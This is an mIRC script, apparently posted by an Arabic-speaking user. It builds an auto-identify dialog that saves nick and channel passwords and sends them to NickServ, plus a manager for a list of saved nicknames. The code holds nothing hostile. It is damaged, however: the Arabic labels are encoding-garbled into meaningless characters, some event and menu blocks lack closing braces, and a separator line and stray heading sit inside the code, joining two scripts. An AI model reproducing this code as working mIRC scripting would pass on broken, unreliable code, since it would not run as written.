title " AL_MAR3OoB"
size -1 -1 260 265
option pixels
box "Çáäß", 1, 10 6 240 90
text "ÇáÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜäÜÜÜÜÜÜÜÜÜß", 2, 19 21 104 16
edit "", 3, 15 35 110 25
text "ÇáÜÜÜÜÈÜÜÜÜÜÇÓÜÜÜÜÜÜÜÜÜÜÜÜææÑÏ", 4, 130 20 110 15
edit "", 5, 130 35 110 25, pass autohs
button "Cancel", 6, 16 62 108 20
button "", 7, 130 62 110 20
box "ÇáÞäÇå", 8, 10 100 240 90
text "ÇáÜÜÜÜÜÜÜÜÞÜÜÜÜÜÜÜÜÜÜÜäÜÜÜÜÜÜÜÇå", 9, 17 115 106 15
edit "", 10, 15 130 110 25, autohs
text "ÇáÜÜÜÜÈÜÜÜÜÜÇÓÜÜÜÜÜÜÜÜÜÜÜÜææÑÏ", 11, 130 115 114 15
edit "", 12, 130 130 110 25, pass autohs
button "Cancel", 13, 16 157 109 20
button "", 14, 131 157 109 20
button "Cancel", 15, 131 202 109 20, cancel
button "OK", 16, 18 203 109 20
box "", 17, 10 190 240 38
edit "By : CarLo", 18, 80 236 100 21, read center
}
on *:dialog:aident:init:0:{
if (%nick-ident != $null) { did -a aident 3 %nick-ident } | if (%nick-pass != $null) { did -a aident 5 %nick-pass } | if (%auto-ident-nick == off) { did -b aident 3 | did -b aident 5 | did -b aident 6 | did -a aident 7 Enable } | else { did -a aident 7 Disable }
if (%chan-ident != $null) { did -a aident 10 %chan-ident } | if (%chan-pass != $null) { did -a aident 12 %chan-pass } | if (%auto-ident-chan == off) { did -b aident 10 | did -b aident 12 | did -b aident 13 | did -a aident 14 Enable } | else { did -a aident 14 Disable }
}
on *:dialog:aident:sclick:*:{
if ($did == 6) { did -r aident 3 | did -r aident 5 } | if ($did == 13) { did -r aident 10 | did -r aident 12 }
if ($did == 7) && (enable isin $did(7)) { did -e aident 3 | did -e aident 5 | did -e aident 6 | did -ra aident 7 Disable } | elseif ($did == 7) { did -b aident 3 | did -b aident 5 | did -b aident 6 | did -ra aident 7 Enable }
if ($did == 14) && (enable isin $did(14)) { did -e aident 10 | did -e aident 12 | did -e aident 13 | did -ra aident 14 Disable } | elseif ($did == 14) { did -b aident 10 | did -b aident 12 | did -b aident 13 | did -ra aident 14 Enable }
if ($did == 16) {
if (disable isin $did(7)) { set %auto-ident-nick on | set %nick-ident $did(3) | set %nick-pass $did(5) } | else { set %auto-ident-nick off | set %nick-ident $did(3) | set %nick-pass $did(5) }
if (disable isin $did(14)) { set %auto-ident-chan on | set %chan-ident $did(10) | set %chan-pass $did(12) } | else { set %auto-ident-chan off | set %chan-ident $did(10) | set %chan-pass $did(12) }
}
}
alias aident dialog -mn aident aident
on 1:CONNECT: {
if (%auto-ident-chan == on) && (%chan-ident != $null) && (%chan-pass != $null) { identify %chan-ident %chan-pass }
if (%auto-ident-nick == on) && (%nick-pass != $null) { identify %nick-pass }
}
on 1:NOTICE:*if this is your nick*:?:{
if ($nick == nickserv) {
if (%nick-pass == $null) { | halt }
identify %nick-pass
}
menu Status {
-
ÊÚÑíÝ ÊáÞÇÆí :dialog -m aident aident
----------------------------------------------------------------------
äßÇÊß ÇáÎÇÕå
dialog nick {
title "AL_MAR3OoB"
size -1 -1 185 170
box "Enter",3, 5 5 175 40
edit "",4, 10 20 100 20
button "ÇÖÇÝå",5, 115 20 60 20,disable
box "ÇáÞÇÆãå",6, 5 45 175 120
list 7, 10 60 100 110
button "ÊÛííÑ",8, 115 60 60 20,disable
button "ãÓÍ",9, 115 80 60 20,disable
button "ãÓÍ Çáßá",11, 115 100 60 20,disable
button "&OK",12, 115 130 60 20,ok
}
on 1:dialog:nick:*:*:{
if ($devent == init) {
if (%onick1 != $null) { did -a nick 7 %onick1 }
if (%onick2 != $null) { did -a nick 7 %onick2 }
if (%onick3 != $null) { did -a nick 7 %onick3 }
if (%onick4 != $null) { did -a nick 7 %onick4 }
if (%onick5 != $null) { did -a nick 7 %onick5 }
if (%onick6 != $null) { did -a nick 7 %onick6 }
if (%onick7 != $null) { did -a nick 7 %onick7 }
if (%onick8 != $null) { did -a nick 7 %onick8 }
if (%onick9 != $null) { did -a nick 7 %onick9 }
if (%onick10 != $null) { did -a nick 7 %onick10 }
}
if ($devent == edit) {
if ($did == 4) { set %Mat.setnick $did(4).text | did -e nick 5 }
}
if ($devent == sclick) {
if ($did == 5) {
if (%Mat.setnick == $null) { set %Mat.error Invalid nick name! | dialog -ma error error | halt }
if ( %onick1 == $null ) { set %onick1 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick2 == $null ) { set %onick2 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick3 == $null ) { set %onick3 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick4 == $null ) { set %onick4 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick5 == $null ) { set %onick5 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick6 == $null ) { set %onick6 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick7 == $null ) { set %onick7 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick8 == $null ) { set %onick8 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick9 == $null ) { set %onick9 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
if ( %onick10 == $null ) { set %onick10 %Mat.setnick | did -a nick 7 %Mat.setnick | goto end }
else { %Mat.error = You have added too many nicks in your nick list | dialog -ma error error | halt }
:end
did -r nick 4
.unset %Mat.*
}
if ($did == 7) {
did -e nick 8
did -e nick 9
did -e nick 11
}
if ($did == 8) {
if ($did(7,$did(7).sel) != $null) { nick $did(7,$did(7).sel) }
}
if ($did == 9) {
if ($did(7,$did(7).sel) == %onick1) { did -d $dname 7 $did(7).sel | unset %onick1 | halt }
if ($did(7,$did(7).sel) == %onick2) { did -d $dname 7 $did(7).sel | unset %onick2 | halt }
if ($did(7,$did(7).sel) == %onick3) { did -d $dname 7 $did(7).sel | unset %onick3 | halt }
if ($did(7,$did(7).sel) == %onick4) { did -d $dname 7 $did(7).sel | unset %onick4 | halt }
if ($did(7,$did(7).sel) == %onick5) { did -d $dname 7 $did(7).sel | unset %onick5 | halt }
if ($did(7,$did(7).sel) == %onick6) { did -d $dname 7 $did(7).sel | unset %onick6 | halt }
if ($did(7,$did(7).sel) == %onick7) { did -d $dname 7 $did(7).sel | unset %onick7 | halt }
if ($did(7,$did(7).sel) == %onick8) { did -d $dname 7 $did(7).sel | unset %onick8 | halt }
if ($did(7,$did(7).sel) == %onick9) { did -d $dname 7 $did(7).sel | unset %onick9 | halt }
if ($did(7,$did(7).sel) == %onick10) { did -d $dname 7 $did(7).sel | unset %onick10 | halt }
}
if ($did == 11) { did -r nick 7 | unset %onick* }
}
}
menu Status {
-
äßÇÊß ÇáÎÇÕå :dialog -m nick nick